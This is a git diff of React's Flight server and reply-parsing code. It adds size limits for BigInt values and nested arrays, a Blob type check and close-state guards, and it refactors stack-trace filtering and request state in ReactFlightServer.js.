@@ -862,20 +1488,24 @@ function parseAsyncIterable<T>(
       }
     },
     error(error: Error): void {
+      if (closed) {
+        return;
+      }
       closed = true;
       if (nextWriteIndex === buffer.length) {
         buffer[nextWriteIndex] =
           createPendingChunk<IteratorResult<T, T>>(response);
       }
       while (nextWriteIndex < buffer.length) {
-        triggerErrorOnChunk(buffer[nextWriteIndex++], error);
+        triggerErrorOnChunk(response, buffer[nextWriteIndex++], error);
       }
     },
   };
   const iterable: $AsyncIterable<T, T, void> = {
     [ASYNC_ITERATOR](): $AsyncIterator<T, T, void> {
       let nextReadIndex = 0;
-      return createIterator(arg => {
+      // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
+      return new FlightIterator((arg: void) => {
         if (arg !== undefined) {
           throw new Error(
             'Values cannot be passed to next() of AsyncIterables passed to Client Components.',
@@ -884,11 +1514,10 @@ function parseAsyncIterable<T>(
         if (nextReadIndex === buffer.length) {
           if (closed) {
             // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-            return new Chunk(
+            return new ReactPromise(
               INITIALIZED,
               {done: true, value: undefined},
               null,
-              response,
             );
           }
           buffer[nextReadIndex] =
@@ -911,11 +1540,15 @@ function parseModelString(
   key: string,
   value: string,
   reference: void | string,
+  arrayRoot: null | NestedArrayContext,
 ): any {
   if (value[0] === '$') {
     switch (value[1]) {
       case '$': {
         // This was an escaped string value.
+        if (arrayRoot !== null) {
+          bumpArrayCount(arrayRoot, value.length - 1, response);
+        }
         return value.slice(1);
       }
       case '@': {
@@ -924,19 +1557,16 @@ function parseModelString(
         const chunk = getChunk(response, id);
         return chunk;
       }
-      case 'F': {
+      case 'h': {
         // Server Reference
         const ref = value.slice(2);
-        // TODO: Just encode this in the reference inline instead of as a model.
-        const metaData: {id: ServerReferenceId, bound: Thenable<Array<any>>} =
-          getOutlinedModel(response, ref, obj, key, createModel);
-        return loadServerReference(
+        return getOutlinedModel(
           response,
-          metaData.id,
-          metaData.bound,
-          initializingChunk,
+          ref,
           obj,
           key,
+          null,
+          loadServerReference,
         );
       }
       case 'T': {
@@ -959,12 +1589,12 @@ function parseModelString(
       case 'Q': {
         // Map
         const ref = value.slice(2);
-        return getOutlinedModel(response, ref, obj, key, createMap);
+        return getOutlinedModel(response, ref, obj, key, null, createMap);
       }
       case 'W': {
         // Set
         const ref = value.slice(2);
-        return getOutlinedModel(response, ref, obj, key, createSet);
+        return getOutlinedModel(response, ref, obj, key, null, createSet);
       }
       case 'K': {
         // FormData
@@ -975,18 +1605,30 @@ function parseModelString(
         // We assume that the reference to FormData always comes after each
         // entry that it references so we can assume they all exist in the
         // backing store already.
-        // $FlowFixMe[prop-missing] FormData has forEach on it.
-        backingFormData.forEach((entry: File | string, entryKey: string) => {
+        // Clone the keys to workaround bugs in the delete-while-iterating
+        // algorithm of FormData.
+        const keys = Array.from(backingFormData.keys());
+        for (let i = 0; i < keys.length; i++) {
+          const entryKey = keys[i];
           if (entryKey.startsWith(formPrefix)) {
-            data.append(entryKey.slice(formPrefix.length), entry);
+            const entries = backingFormData.getAll(entryKey);
+            const newKey = entryKey.slice(formPrefix.length);
+            for (let j = 0; j < entries.length; j++) {
+              // $FlowFixMe[incompatible-call]
+              data.append(newKey, entries[j]);
+            }
+            // These entries have now all been consumed. Let's free it.
+            // This also ensures that we don't have any entries left if we
+            // see the same key twice.
+            backingFormData.delete(entryKey);
           }
-        });
+        }
         return data;
       }
       case 'i': {
         // Iterator
         const ref = value.slice(2);
-        return getOutlinedModel(response, ref, obj, key, extractIterator);
+        return getOutlinedModel(response, ref, obj, key, null, extractIterator);
       }
       case 'I': {
         // $Infinity
@@ -1015,85 +1657,203 @@ function parseModelString(
       }
       case 'n': {
         // BigInt
-        return BigInt(value.slice(2));
-      }
-    }
-    if (enableBinaryFlight) {
-      switch (value[1]) {
-        case 'A':
-          return parseTypedArray(response, value, ArrayBuffer, 1, obj, key);
-        case 'O':
-          return parseTypedArray(response, value, Int8Array, 1, obj, key);
-        case 'o':
-          return parseTypedArray(response, value, Uint8Array, 1, obj, key);
-        case 'U':
-          return parseTypedArray(
-            response,
-            value,
-            Uint8ClampedArray,
-            1,
-            obj,
-            key,
+        const bigIntStr = value.slice(2);
+        if (bigIntStr.length > MAX_BIGINT_DIGITS) {
+          throw new Error(
+            'BigInt is too large. Received ' +
+              bigIntStr.length +
+              ' digits but the limit is ' +
+              MAX_BIGINT_DIGITS +
+              '.',
           );
-        case 'S':
-          return parseTypedArray(response, value, Int16Array, 2, obj, key);
-        case 's':
-          return parseTypedArray(response, value, Uint16Array, 2, obj, key);
-        case 'L':
-          return parseTypedArray(response, value, Int32Array, 4, obj, key);
-        case 'l':
-          return parseTypedArray(response, value, Uint32Array, 4, obj, key);
-        case 'G':
-          return parseTypedArray(response, value, Float32Array, 4, obj, key);
-        case 'g':
-          return parseTypedArray(response, value, Float64Array, 8, obj, key);
-        case 'M':
-          return parseTypedArray(response, value, BigInt64Array, 8, obj, key);
-        case 'm':
-          return parseTypedArray(response, value, BigUint64Array, 8, obj, key);
-        case 'V':
-          return parseTypedArray(response, value, DataView, 1, obj, key);
-        case 'B': {
-          // Blob
-          const id = parseInt(value.slice(2), 16);
-          const prefix = response._prefix;
-          const blobKey = prefix + id;
-          // We should have this backingEntry in the store already because we emitted
-          // it before referencing it. It should be a Blob.
-          const backingEntry: Blob = (response._formData.get(blobKey): any);
-          return backingEntry;
-        }
-      }
-    }
-    if (enableFlightReadableStream) {
-      switch (value[1]) {
-        case 'R': {
-          return parseReadableStream(response, value, undefined, obj, key);
-        }
-        case 'r': {
-          return parseReadableStream(response, value, 'bytes', obj, key);
         }
-        case 'X': {
-          return parseAsyncIterable(response, value, false, obj, key);
+        if (arrayRoot !== null) {
+          bumpArrayCount(arrayRoot, bigIntStr.length, response);
         }
-        case 'x': {
-          return parseAsyncIterable(response, value, true, obj, key);
+        return BigInt(bigIntStr);
+      }
+      case 'A':
+        return parseTypedArray(
+          response,
+          value,
+          ArrayBuffer,
+          1,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 'O':
+        return parseTypedArray(
+          response,
+          value,
+          Int8Array,
+          1,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 'o':
+        return parseTypedArray(
+          response,
+          value,
+          Uint8Array,
+          1,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 'U':
+        return parseTypedArray(
+          response,
+          value,
+          Uint8ClampedArray,
+          1,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 'S':
+        return parseTypedArray(
+          response,
+          value,
+          Int16Array,
+          2,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 's':
+        return parseTypedArray(
+          response,
+          value,
+          Uint16Array,
+          2,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 'L':
+        return parseTypedArray(
+          response,
+          value,
+          Int32Array,
+          4,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 'l':
+        return parseTypedArray(
+          response,
+          value,
+          Uint32Array,
+          4,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 'G':
+        return parseTypedArray(
+          response,
+          value,
+          Float32Array,
+          4,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 'g':
+        return parseTypedArray(
+          response,
+          value,
+          Float64Array,
+          8,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 'M':
+        return parseTypedArray(
+          response,
+          value,
+          BigInt64Array,
+          8,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 'm':
+        return parseTypedArray(
+          response,
+          value,
+          BigUint64Array,
+          8,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 'V':
+        return parseTypedArray(
+          response,
+          value,
+          DataView,
+          1,
+          obj,
+          key,
+          arrayRoot,
+        );
+      case 'B': {
+        // Blob
+        const id = parseInt(value.slice(2), 16);
+        const prefix = response._prefix;
+        const blobKey = prefix + id;
+        // We should have this backingEntry in the store already because we emitted
+        // it before referencing it. It should be a Blob.
+        const backingEntry = response._formData.get(blobKey);
+        if (!(backingEntry instanceof Blob)) {
+          throw new Error('Referenced Blob is not a Blob.');
         }
+        return backingEntry;
+      }
+      case 'R': {
+        return parseReadableStream(response, value, undefined, obj, key);
+      }
+      case 'r': {
+        return parseReadableStream(response, value, 'bytes', obj, key);
+      }
+      case 'X': {
+        return parseAsyncIterable(response, value, false, obj, key);
+      }
+      case 'x': {
+        return parseAsyncIterable(response, value, true, obj, key);
       }
     }
-
     // We assume that anything else is a reference ID.
     const ref = value.slice(1);
-    return getOutlinedModel(response, ref, obj, key, createModel);
+    return getOutlinedModel(response, ref, obj, key, arrayRoot, createModel);
+  }
+  if (arrayRoot !== null) {
+    bumpArrayCount(arrayRoot, value.length, response);
   }
   return value;
 }
 
+const DEFAULT_MAX_ARRAY_NESTING = 1000000;
+
+// Limit BigInt size to prevent CPU exhaustion from parsing very large values.
+// 300 digits covers most practical use cases (even 512-bit integers need only
+// ~154 digits) and aligns with the implicit limit from the Number approximation
+// checks in fulfillReference and getOutlinedModel.
+const MAX_BIGINT_DIGITS = 300;
+
+export const MAX_BOUND_ARGS = 1000;
+
 export function createResponse(
   bundlerConfig: ServerManifest,
   formFieldPrefix: string,
   temporaryReferences: void | TemporaryReferenceSet,
   backingFormData?: FormData = new FormData(),
+  arraySizeLimit?: number = DEFAULT_MAX_ARRAY_NESTING,
 ): Response {
   const chunks: Map<number, SomeChunk<any>> = new Map();
   const response: Response = {
@@ -1101,7 +1861,11 @@ export function createResponse(
     _prefix: formFieldPrefix,
     _formData: backingFormData,
     _chunks: chunks,
+    _closed: false,
+    _closedReason: null,
     _temporaryReferences: temporaryReferences,
+    _rootArrayContexts: new WeakMap(),
+    _arraySizeLimit: arraySizeLimit,
   };
   return response;
 }
@@ -1120,7 +1884,7 @@ export function resolveField(
     const chunk = chunks.get(id);
     if (chunk) {
       // We were waiting on this key so now we can resolve it.
-      resolveModelChunk(chunk, value, id);
+      resolveModelChunk(response, chunk, value, id);
     }
   }
 }
diff --git a/packages/react-server/src/ReactFlightServer.js b/packages/react-server/src/ReactFlightServer.js
index 405401a8b342..7f6376821b9b 100644
--- a/packages/react-server/src/ReactFlightServer.js
+++ b/packages/react-server/src/ReactFlightServer.js
@@ -9,21 +9,15 @@
 
 import type {Chunk, BinaryChunk, Destination} from './ReactServerStreamConfig';
 
-import type {Postpone} from 'react/src/ReactPostpone';
-
 import type {TemporaryReferenceSet} from './ReactFlightServerTemporaryReferences';
 
 import {
-  enableBinaryFlight,
-  enablePostpone,
   enableTaint,
-  enableRefAsProp,
-  enableServerComponentLogs,
-  enableOwnerStacks,
+  enableProfilerTimer,
+  enableComponentPerformanceTrack,
+  enableAsyncDebugInfo,
 } from 'shared/ReactFeatureFlags';
 
-import {enableFlightReadableStream} from 'shared/ReactFeatureFlags';
-
 import {
   scheduleWork,
   scheduleMicrotask,
@@ -51,6 +45,7 @@ import type {
   Hints,
   HintCode,
   HintModel,
+  FormatContext,
 } from './ReactFlightServerConfig';
 import type {ThenableState} from './ReactFlightThenable';
 import type {
@@ -60,25 +55,48 @@ import type {
   FulfilledThenable,
   RejectedThenable,
   ReactDebugInfo,
+  ReactDebugInfoEntry,
   ReactComponentInfo,
+  ReactIOInfo,
   ReactAsyncInfo,
+  ReactStackTrace,
+  ReactCallSite,
+  ReactFunctionLocation,
+  ReactErrorInfo,
+  ReactErrorInfoDev,
+  ReactKey,
 } from 'shared/ReactTypes';
 import type {ReactElement} from 'shared/ReactElementType';
 import type {LazyComponent} from 'react/src/ReactLazy';
+import type {
+  AsyncSequence,
+  IONode,
+  PromiseNode,
+  UnresolvedPromiseNode,
+} from './ReactFlightAsyncSequence';
 
 import {
   resolveClientReferenceMetadata,
   getServerReferenceId,
   getServerReferenceBoundArguments,
+  getServerReferenceLocation,
   getClientReferenceKey,
   isClientReference,
   isServerReference,
   supportsRequestStorage,
   requestStorage,
-  supportsComponentStorage,
-  componentStorage,
   createHints,
+  createRootFormatContext,
+  getChildFormatContext,
   initAsyncDebugInfo,
+  markAsyncSequenceRootTask,
+  getCurrentAsyncSequence,
+  getAsyncSequenceFromPromise,
+  parseStackTrace,
+  parseStackTracePrivate,
+  supportsComponentStorage,
+  componentStorage,
+  unbadgeConsole,
 } from './ReactFlightServerConfig';
 
 import {
@@ -91,12 +109,24 @@ import {
   prepareToUseHooksForRequest,
   prepareToUseHooksForComponent,
   getThenableStateAfterSuspending,
+  getTrackedThenablesAfterRendering,
   resetHooksForRequest,
 } from './ReactFlightHooks';
 import {DefaultAsyncDispatcher} from './flight/ReactFlightAsyncDispatcher';
 
 import {resolveOwner, setCurrentOwner} from './flight/ReactFlightCurrentOwner';
 
+import {getOwnerStackByComponentInfoInDev} from 'shared/ReactComponentInfoStack';
+import {resetOwnerStackLimit} from 'shared/ReactOwnerStackReset';
+
+import noop from 'shared/noop';
+
+import {
+  callComponentInDEV,
+  callLazyInitInDEV,
+  callIteratorInDEV,
+} from './ReactFlightCallUserSpace';
+
 import {
   getIteratorFn,
   REACT_ELEMENT_TYPE,
@@ -105,149 +135,250 @@ import {
   REACT_FRAGMENT_TYPE,
   REACT_LAZY_TYPE,
   REACT_MEMO_TYPE,
-  REACT_POSTPONE_TYPE,
   ASYNC_ITERATOR,
+  REACT_OPTIMISTIC_KEY,
 } from 'shared/ReactSymbols';
 
 import {
-  describeValueForErrorMessage,
   describeObjectForErrorMessage,
+  isGetter,
   isSimpleObject,
   jsxPropsParents,
   jsxChildrenParents,
   objectName,
 } from 'shared/ReactSerializationErrors';
 
-import type {SharedStateServer} from 'react/src/ReactSharedInternalsServer';
-import ReactSharedInternalsImpl from 'shared/ReactSharedInternals';
-const ReactSharedInternals: SharedStateServer = (ReactSharedInternalsImpl: any);
+import ReactSharedInternals from './ReactSharedInternalsServer';
 import isArray from 'shared/isArray';
 import getPrototypeOf from 'shared/getPrototypeOf';
+import hasOwnProperty from 'shared/hasOwnProperty';
 import binaryToComparableString from 'shared/binaryToComparableString';
 
 import {SuspenseException, getSuspendedThenable} from './ReactFlightThenable';
 
-// TODO: Make this configurable on the Request.
-const externalRegExp = /\/node\_modules\/| \(node\:| node\:|\(\<anonymous\>\)/;
-
-let callComponentFrame: null | string = null;
-let callIteratorFrame: null | string = null;
-let callLazyInitFrame: null | string = null;
-
-function isNotExternal(stackFrame: string): boolean {
-  return !externalRegExp.test(stackFrame);
+import {
+  IO_NODE,
+  PROMISE_NODE,
+  AWAIT_NODE,
+  UNRESOLVED_AWAIT_NODE,
+  UNRESOLVED_PROMISE_NODE,
+} from './ReactFlightAsyncSequence';
+
+// DEV-only set containing internal objects that should not be limited and turned into getters.
+const doNotLimit: WeakSet<Reference> = __DEV__ ? new WeakSet() : (null: any);
+
+function defaultFilterStackFrame(
+  filename: string,
+  functionName: string,
+): boolean {
+  return (
+    filename !== '' &&
+    !filename.startsWith('node:') &&
+    !filename.includes('node_modules')
+  );
 }
 
-function prepareStackTrace(
-  error: Error,
-  structuredStackTrace: CallSite[],
-): string {
-  const name = error.name || 'Error';
-  const message = error.message || '';
-  let stack = name + ': ' + message;
-  for (let i = 0; i < structuredStackTrace.length; i++) {
-    stack += '\n    at ' + structuredStackTrace[i].toString();
-  }
-  return stack;
-}
-
-function getStack(error: Error): string {
-  // We override Error.prepareStackTrace with our own version that normalizes
-  // the stack to V8 formatting even if the server uses other formatting.
-  // It also ensures that source maps are NOT applied to this since that can
-  // be slow we're better off doing that lazily from the client instead of
-  // eagerly on the server. If the stack has already been read, then we might
-  // not get a normalized stack and it might still have been source mapped.
-  // So the client still needs to be resilient to this.
-  const previousPrepare = Error.prepareStackTrace;
-  Error.prepareStackTrace = prepareStackTrace;
-  try {
-    // eslint-disable-next-line react-internal/safe-string-coercion
-    return String(error.stack);
-  } finally {
-    Error.prepareStackTrace = previousPrepare;
+function devirtualizeURL(url: string): string {
+  if (url.startsWith('about://React/')) {
+    // This callsite is a virtual fake callsite that came from another Flight client.
+    // We need to reverse it back into the original location by stripping its prefix
+    // and suffix. We don't need the environment name because it's available on the
+    // parent object that will contain the stack.
+    const envIdx = url.indexOf('/', 'about://React/'.length);
+    const suffixIdx = url.lastIndexOf('?');
+    if (envIdx > -1 && suffixIdx > -1) {
+      return decodeURI(url.slice(envIdx + 1, suffixIdx));
+    }
   }
+  return url;
 }
 
-function initCallComponentFrame(): string {
-  // Extract the stack frame of the callComponentInDEV function.
-  const error = callComponentInDEV(Error, 'react-stack-top-frame', {});
-  const stack = getStack(error);
-  const startIdx = stack.startsWith('Error: react-stack-top-frame\n') ? 29 : 0;
-  const endIdx = stack.indexOf('\n', startIdx);
-  if (endIdx === -1) {
-    return stack.slice(startIdx);
+function isPromiseCreationInternal(url: string, functionName: string): boolean {
+  // Various internals of the JS VM can create Promises but the call frame of the
+  // internals are not very interesting for our purposes so we need to skip those.
+  if (url === 'node:internal/async_hooks') {
+    // Ignore the stack frames from the async hooks themselves.
+    return true;
+  }
+  if (url !== '') {
+    return false;
+  }
+  switch (functionName) {
+    case 'new Promise':
+    case 'Function.withResolvers':
+    case 'Function.reject':
+    case 'Function.resolve':
+    case 'Function.all':
+    case 'Function.allSettled':
+    case 'Function.race':
+    case 'Function.try':
+      return true;
+    default:
+      return false;
   }
-  return stack.slice(startIdx, endIdx);
 }
 
-function initCallIteratorFrame(): string {
-  // Extract the stack frame of the callIteratorInDEV function.
-  try {
-    (callIteratorInDEV: any)({next: null});
-    return '';
-  } catch (error) {
-    const stack = getStack(error);
-    const startIdx = stack.startsWith('TypeError: ')
-      ? stack.indexOf('\n') + 1
-      : 0;
-    const endIdx = stack.indexOf('\n', startIdx);
-    if (endIdx === -1) {
-      return stack.slice(startIdx);
+function stripLeadingPromiseCreationFrames(
+  stack: ReactStackTrace,
+): ReactStackTrace {
+  for (let i = 0; i < stack.length; i++) {
+    const callsite = stack[i];
+    const functionName = callsite[0];
+    const url = callsite[1];
+    if (!isPromiseCreationInternal(url, functionName)) {
+      if (i > 0) {
+        return stack.slice(i);
+      } else {
+        return stack;
+      }
     }
-    return stack.slice(startIdx, endIdx);
   }
+  return [];
 }
 
-function initCallLazyInitFrame(): string {
-  // Extract the stack frame of the callLazyInitInDEV function.
-  const error = callLazyInitInDEV({
-    $$typeof: REACT_LAZY_TYPE,
-    _init: Error,
-    _payload: 'react-stack-top-frame',
-  });
-  const stack = getStack(error);
-  const startIdx = stack.startsWith('Error: react-stack-top-frame\n') ? 29 : 0;
-  const endIdx = stack.indexOf('\n', startIdx);
-  if (endIdx === -1) {
-    return stack.slice(startIdx);
+function findCalledFunctionNameFromStackTrace(
+  request: Request,
+  stack: ReactStackTrace,
+): string {
+  // Gets the name of the first function called from first party code.
+  let bestMatch = '';
+  const filterStackFrame = request.filterStackFrame;
+  for (let i = 0; i < stack.length; i++) {
+    const callsite = stack[i];
+    const functionName = callsite[0];
+    const url = devirtualizeURL(callsite[1]);
+    const lineNumber = callsite[2];
+    const columnNumber = callsite[3];
+    if (
+      filterStackFrame(url, functionName, lineNumber, columnNumber) &&
+      // Don't consider anonymous code first party even if the filter wants to include them in the stack.
+      url !== ''
+    ) {
+      if (bestMatch === '') {
+        // If we had no good stack frames for internal calls, just use the last
+        // first party function name.
+        return functionName;
+      }
+      return bestMatch;
+    } else {
+      bestMatch = functionName;
+    }
   }
-  return stack.slice(startIdx, endIdx);
+  return '';
 }
 
-function filterDebugStack(error: Error): string {
+function filterStackTrace(
+  request: Request,
+  stack: ReactStackTrace,
+): ReactStackTrace {
   // Since stacks can be quite large and we pass a lot of them, we filter them out eagerly
   // to save bandwidth even in DEV. We'll also replay these stacks on the client so by
   // stripping them early we avoid that overhead. Otherwise we'd normally just rely on
   // the DevTools or framework's ignore lists to filter them out.
-  let stack = getStack(error);
-  if (stack.startsWith('Error: react-stack-top-frame\n')) {
-    // V8's default formatting prefixes with the error message which we
-    // don't want/need.
-    stack = stack.slice(29);
-  }
-  const frames = stack.split('\n').slice(1);
-  if (callComponentFrame === null) {
-    callComponentFrame = initCallComponentFrame();
-  }
-  let lastFrameIdx = frames.indexOf(callComponentFrame);
-  if (lastFrameIdx === -1) {
-    if (callLazyInitFrame === null) {
-      callLazyInitFrame = initCallLazyInitFrame();
+  const filterStackFrame = request.filterStackFrame;
+  const filteredStack: ReactStackTrace = [];
+  for (let i = 0; i < stack.length; i++) {
+    const callsite = stack[i];
+    const functionName = callsite[0];
+    const url = devirtualizeURL(callsite[1]);
+    const lineNumber = callsite[2];
+    const columnNumber = callsite[3];
+    if (filterStackFrame(url, functionName, lineNumber, columnNumber)) {
+      // Use a clone because the Flight protocol isn't yet resilient to deduping
+      // objects in the debug info. TODO: Support deduping stacks.
+      const clone: ReactCallSite = (callsite.slice(0): any);
+      clone[1] = url;
+      filteredStack.push(clone);
     }
-    lastFrameIdx = frames.indexOf(callLazyInitFrame);
-    if (lastFrameIdx === -1) {
-      if (callIteratorFrame === null) {
-        callIteratorFrame = initCallIteratorFrame();
-      }
-      lastFrameIdx = frames.indexOf(callIteratorFrame);
+  }
+  return filteredStack;
+}
+
+function hasUnfilteredFrame(request: Request, stack: ReactStackTrace): boolean {
+  const filterStackFrame = request.filterStackFrame;
+  for (let i = 0; i < stack.length; i++) {
+    const callsite = stack[i];
+    const functionName = callsite[0];
+    const url = devirtualizeURL(callsite[1]);
+    const lineNumber = callsite[2];
+    const columnNumber = callsite[3];
+    // Ignore async stack frames because they're not "real". We'd expect to have at least
+    // one non-async frame if we're actually executing inside a first party function.
+    // Otherwise we might just be in the resume of a third party function that resumed
+    // inside a first party stack.
+    const isAsync = callsite[6];
+    if (
+      !isAsync &&
+      filterStackFrame(url, functionName, lineNumber, columnNumber) &&
+      // Ignore anonymous stack frames like internals. They are also not in first party
+      // code even though it might be useful to include them in the final stack.
+      url !== ''
+    ) {
+      return true;
     }
   }
-  if (lastFrameIdx !== -1) {
-    // Cut off everything after our "callComponent" slot since it'll be Flight internals.
-    frames.length = lastFrameIdx;
+  return false;
+}
+
+function isPromiseAwaitInternal(url: string, functionName: string): boolean {
+  // Various internals of the JS VM can await internally on a Promise. If those are at
+  // the top of the stack then we don't want to consider them as internal frames. The
+  // true "await" conceptually is the thing that called the helper.
+  // Ideally we'd also include common third party helpers for this.
+  if (url === 'node:internal/async_hooks') {
+    // Ignore the stack frames from the async hooks themselves.
+    return true;
+  }
+  if (url !== '') {
+    return false;
+  }
+  switch (functionName) {
+    case 'Promise.then':
+    case 'Promise.catch':
+    case 'Promise.finally':
+    case 'Function.reject':
+    case 'Function.resolve':
+    case 'Function.all':
+    case 'Function.allSettled':
+    case 'Function.any':
+    case 'Function.race':
+    case 'Function.try':
+    case 'Function.withResolvers':
+      return true;
+    default:
+      return false;
   }
-  return frames.filter(isNotExternal).join('\n');
+}
+
+export function isAwaitInUserspace(
+  request: Request,
+  stack: ReactStackTrace,
+): boolean {
+  let firstFrame = 0;
+  while (
+    stack.length > firstFrame &&
+    isPromiseAwaitInternal(stack[firstFrame][1], stack[firstFrame][0])
+  ) {
+    // Skip the internal frame that awaits itself.
+    firstFrame++;
+  }
+  if (stack.length > firstFrame) {
+    // Check if the very first stack frame that awaited this Promise was in user space.
+    // TODO: This doesn't take into account wrapper functions such as our fake .then()
+    // in FlightClient which will always be considered third party awaits if you call
+    // .then directly.
+    const filterStackFrame = request.filterStackFrame;
+    const callsite = stack[firstFrame];
+    const functionName = callsite[0];
+    const url = devirtualizeURL(callsite[1]);
+    const lineNumber = callsite[2];
+    const columnNumber = callsite[3];
+    return (
+      filterStackFrame(url, functionName, lineNumber, columnNumber) &&
+      url !== ''
+    );
+  }
+  return false;
 }
 
 initAsyncDebugInfo();
@@ -273,15 +404,23 @@ function patchConsole(consoleInst: typeof console, methodName: string) {
         // Extract the stack. Not all console logs print the full stack but they have at
         // least the line it was called from. We could optimize transfer by keeping just
         // one stack frame but keeping it simple for now and include all frames.
-        const stack = filterDebugStack(new Error('react-stack-top-frame'));
-        request.pendingChunks++;
-        // We don't currently use this id for anything but we emit it so that we can later
-        // refer to previous logs in debug info to associate them with a component.
-        const id = request.nextChunkId++;
+        const stack = filterStackTrace(
+          request,
+          parseStackTracePrivate(new Error('react-stack-top-frame'), 1) || [],
+        );
+        request.pendingDebugChunks++;
         const owner: null | ReactComponentInfo = resolveOwner();
-        emitConsoleChunk(request, id, methodName, owner, stack, arguments);
+        const args = Array.from(arguments);
+        // Extract the env if this is a console log that was replayed from another env.
+        let env = unbadgeConsole(methodName, args);
+        if (env === null) {
+          // Otherwise add the current environment.
+          env = (0, request.environmentName)();
+        }
+
+        emitConsoleChunk(request, methodName, owner, env, stack, args);
       }
-      // $FlowFixMe[prop-missing]
+      // $FlowFixMe[incompatible-call]
       return originalMethod.apply(this, arguments);
     };
     if (originalName) {
@@ -298,12 +437,7 @@ function patchConsole(consoleInst: typeof console, methodName: string) {
   }
 }
 
-if (
-  enableServerComponentLogs &&
-  __DEV__ &&
-  typeof console === 'object' &&
-  console !== null
-) {
+if (__DEV__ && typeof console === 'object' && console !== null) {
   // Instrument console to capture logs for replaying on the client.
   patchConsole(console, 'assert');
   patchConsole(console, 'debug');
@@ -320,15 +454,18 @@ if (
   patchConsole(console, 'warn');
 }
 
-const ObjectPrototype = Object.prototype;
+function getCurrentStackInDEV(): string {
+  if (__DEV__) {
+    const owner: null | ReactComponentInfo = resolveOwner();
+    if (owner === null) {
+      return '';
+    }
+    return getOwnerStackByComponentInfoInDev(owner);
+  }
+  return '';
+}
 
-type JSONValue =
-  | string
-  | boolean
-  | number
-  | null
-  | {+[key: string]: JSONValue}
-  | $ReadOnlyArray<JSONValue>;
+const ObjectPrototype = Object.prototype;
 
 const stringify = JSON.stringify;
 
@@ -343,7 +480,7 @@ type ReactJSONValue =
 // Serializable values
 export type ReactClientValue =
   // Server Elements and Lazy Components are unwrapped on the Server
-  | React$Element<React$AbstractComponent<any, any>>
+  | React$Element<component(...props: any)>
   | LazyComponent<ReactClientValue, any>
   // References are passed by their value
   | ClientReference<any>
@@ -353,6 +490,7 @@ export type ReactClientValue =
   | React$Element<string>
   | React$Element<ClientReference<any> & any>
   | ReactComponentInfo
+  | ReactErrorInfo
   | string
   | boolean
   | number
@@ -390,25 +528,50 @@ type Task = {
   model: ReactClientValue,
   ping: () => void,
   toJSON: (key: string, value: ReactClientValue) => ReactJSONValue,
-  keyPath: null | string, // parent server component keys
+  keyPath: ReactKey, // parent server component keys
   implicitSlot: boolean, // true if the root server component of this sequence had a null key
+  formatContext: FormatContext, // an approximate parent context from host components
   thenableState: ThenableState | null,
+  timed: boolean, // Profiling-only. Whether we need to track the completion time of this task.
+  time: number, // Profiling-only. The last time stamp emitted for this task.
   environmentName: string, // DEV-only. Used to track if the environment for this task changed.
+  debugOwner: null | ReactComponentInfo, // DEV-only
+  debugStack: null | Error, // DEV-only
+  debugTask: null | ConsoleTask, // DEV-only
 };
 
 interface Reference {}
 
+type ReactClientReference = Reference & ReactClientValue;
+
+type DeferredDebugStore = {
+  retained: Map<number, ReactClientReference | string>,
+  existing: Map<ReactClientReference | string, number>,
+};
+
+const __PROTO__ = '__proto__';
+
+const OPENING = 10;
+const OPEN = 11;
+const ABORTING = 12;
+const CLOSING = 13;
+const CLOSED = 14;
+
+const RENDER = 20;
+const PRERENDER = 21;
+
 export type Request = {
-  status: 0 | 1 | 2 | 3,
+  status: 10 | 11 | 12 | 13 | 14,
+  type: 20 | 21,
   flushScheduled: boolean,
   fatalError: mixed,
   destination: null | Destination,
   bundlerConfig: ClientManifest,
   cache: Map<Function, mixed>,
+  cacheController: AbortController,
   nextChunkId: number,
   pendingChunks: number,
   hints: Hints,
-  abortListeners: Set<(reason: mixed) => void>,
   abortableTasks: Set<Task>,
   pingedTasks: Array<Task>,
   completedImportChunks: Array<Chunk>,
@@ -424,14 +587,27 @@ export type Request = {
   identifierCount: number,
   taintCleanupQueue: Array<string | bigint>,
   onError: (error: mixed) => ?string,
-  onPostpone: (reason: string) => void,
+  onAllReady: () => void,
+  onFatalError: mixed => void,
+  // Profiling-only
+  timeOrigin: number,
+  abortTime: number,
   // DEV-only
+  pendingDebugChunks: number,
+  completedDebugChunks: Array<Chunk | BinaryChunk>,
+  debugDestination: null | Destination,
   environmentName: () => string,
+  filterStackFrame: (
+    url: string,
+    functionName: string,
+    lineNumber: number,
+    columnNumber: number,
+  ) => boolean,
   didWarnForKey: null | WeakSet<ReactComponentInfo>,
+  writtenDebugObjects: WeakMap<Reference, string>,
+  deferredDebugObjects: null | DeferredDebugStore,
 };
 
-const AbortSigil = {};
-
 const {
   TaintRegistryObjects,
   TaintRegistryValues,
@@ -466,24 +642,20 @@ function defaultErrorHandler(error: mixed) {
   // Don't transform to our wrapper
 }
 
-function defaultPostponeHandler(reason: string) {
-  // Noop
-}
-
-const OPEN = 0;
-const ABORTING = 1;
-const CLOSING = 2;
-const CLOSED = 3;
-
 function RequestInstance(
   this: $FlowFixMe,
+  type: 20 | 21,
   model: ReactClientValue,
   bundlerConfig: ClientManifest,
   onError: void | ((error: mixed) => ?string),
+  onAllReady: () => void,
+  onFatalError: (error: mixed) => void,
   identifierPrefix?: string,
-  onPostpone: void | ((reason: string) => void),
-  environmentName: void | string | (() => string),
   temporaryReferences: void | TemporaryReferenceSet,
+  debugStartTime: void | number, // Profiling-only
+  environmentName: void | string | (() => string), // DEV-only
+  filterStackFrame: void | ((url: string, functionName: string) => boolean), // DEV-only
+  keepDebugAlive: boolean, // DEV-only
 ) {
   if (
     ReactSharedInternals.A !== null &&
@@ -494,6 +666,12 @@ function RequestInstance(
     );
   }
   ReactSharedInternals.A = DefaultAsyncDispatcher;
+  if (__DEV__) {
+    // Unlike Fizz or Fiber, we don't reset this and just keep it on permanently.
+    // This lets it act more like the AsyncDispatcher so that we can get the
